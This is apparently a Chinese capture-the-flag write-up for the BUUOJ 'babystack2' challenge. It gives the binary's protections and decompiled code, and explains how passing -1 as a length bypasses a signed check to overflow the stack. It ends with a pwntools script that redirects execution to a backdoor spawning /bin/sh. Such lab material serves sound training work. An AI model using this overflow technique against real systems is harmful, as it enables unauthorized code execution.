# 题源
https://buuoj.cn/challenges#bjdctf_2020_babystack2
# 题解
# 文件保护
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
64 位程序,可以改 plt,没有栈溢出保护,栈不可执行,没有开启程序动态加载
# 反编译
使用 IDA 查看程序情况:
//main | |
int __cdecl main(int argc, const char **argv, const char **envp) | |
{ | |
char buf; // [rsp+0h] [rbp-10h] | |
size_t nbytes; // [rsp+Ch] [rbp-4h] | |
setvbuf(_bss_start, 0LL, 2, 0LL); | |
setvbuf(stdin, 0LL, 1, 0LL); | |
LODWORD(nbytes) = 0; | |
puts("**********************************"); | |
puts("* Welcome to the BJDCTF! *"); | |
puts("* And Welcome to the bin world! *"); | |
puts("* Let's try to pwn the world! *"); | |
puts("* Please told me u answer loudly!*"); | |
puts("[+]Are u ready?"); | |
puts("[+]Please input the length of your name:"); | |
__isoc99_scanf((__int64)"%d", (__int64)&nbytes); | |
if ( (signed int)nbytes > 10 ) | |
{ | |
puts("Oops,u name is too long!"); | |
exit(-1); | |
} | |
puts("[+]What's u name?"); | |
read(0, &buf, (unsigned int)nbytes); | |
return 0; | |
} | |
//backdoor | |
signed __int64 backdoor() | |
{ | |
system("/bin/sh"); | |
return 1LL; | |
} |
# 攻击面
程序要求输入一个整数,超过 10 退出,然后又将其视为无符号整数进行 read,显然给一个 - 1 就可以栈溢出。
程序没有 canary,又自己定义好了 backdoor,所以只需要栈溢出把返回地址改到 backdoor 即可。
# exp
攻击代码如下:
from pwn import * | |
from pwn import p64 | |
IP = 'node4.buuoj.cn' | |
PORT = 29466 | |
filename = './bjdctf_2020_babystack2' | |
proc = ELF(filename) | |
# io = process(filename) | |
io = remote(IP,PORT) | |
io.sendlineafter('[+]Please input the length of your name:','-1') | |
payload = b'A'*(0x10 + 0x8) + p64(proc.symbols['backdoor']) | |
io.sendlineafter('[+]What\'s u name?',payload) | |
io.interactive() |
运行结果:
# 总结
非常简单的栈溢出题。结合了对整型数据的判断。不过这个类型转化太明显了,适合做签到题。